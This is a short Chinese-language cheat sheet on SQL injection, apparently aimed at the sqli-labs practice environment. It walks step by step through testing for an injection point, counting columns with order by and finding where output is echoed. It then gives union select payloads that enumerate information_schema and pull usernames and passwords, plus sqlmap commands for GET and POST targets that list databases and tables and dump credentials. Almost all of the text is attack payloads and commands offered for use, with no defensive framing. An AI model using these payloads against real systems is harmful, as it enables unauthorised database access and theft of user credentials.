SQL注入常见手动注入代码:
判断注入点:and 1=1, 正常
and 1=2, 错误,可能存在注入点
猜字段数: order by 1,2,3…n (直到页面无法显示)
报错,判断回显点 注入点后接:union select 1,2,3…n(看哪些地方显示了数字,就在哪里查想要的数据,又叫 回显点)
信息收集: 数据库版本:version() 数据库名字:database() 数据库用户:user() 系统:@@version_compile_os
MySQL5.0以上版本自带一个information_schema数据库,储存所有的数据库名,表名,列名
分步拿数据:数据库名—>对应表名—>对应列名—>需要的数据
数据库中 . (点)代表下一级 student.users 代表student数据库中的users表
information_schema.tables 记录所有表名信息的表 table_name 表名 table_schema 数据库名
information_schema.columns 记录所有列名信息的表 column_name 列名
sqlmap:
sqlmap.py -u “有注入点的url” --dbs
看到了security数据库,然后我们开始爆表:sqlmap.py -u “有注入点的url” -D security --tables
爆字段名:sqlmap.py -u “有注入点的url” -D security -T users --columns
爆信息:sqlmap.py -u “有注入点的url” -D security -T users -C “id,username,password” --dump
数字型:
判断类型:1=2报错,数字型
猜字段数:order by 2正常,3报错,有2字段
制造错误,使执行Union后语句,判断回显点
信息收集,查数据库名字,用户
分步拿数据:数据库名—>对应表名—>对应列名—>需要的数据
查表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查列名:
union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’
查数据:
union select username,password from users
Sqlmap自动
因为是post,需要先抓取数据包,判断注入点,用bp抓取数据包并保存,记住路径
sqlmap -r /root/Desktop/1.txt --dbs 查所有数据库名
sqlmap -r /root/Desktop/1.txt -D security --tables 根据数据库名查所有表名
sqlmap -r /root/Desktop/1.txt -D security -T users --columns 根据表名查字段名(列名)
sqlmap -r /root/Desktop/1.txt -D security -T users -C “id,password,username” --dump 查数据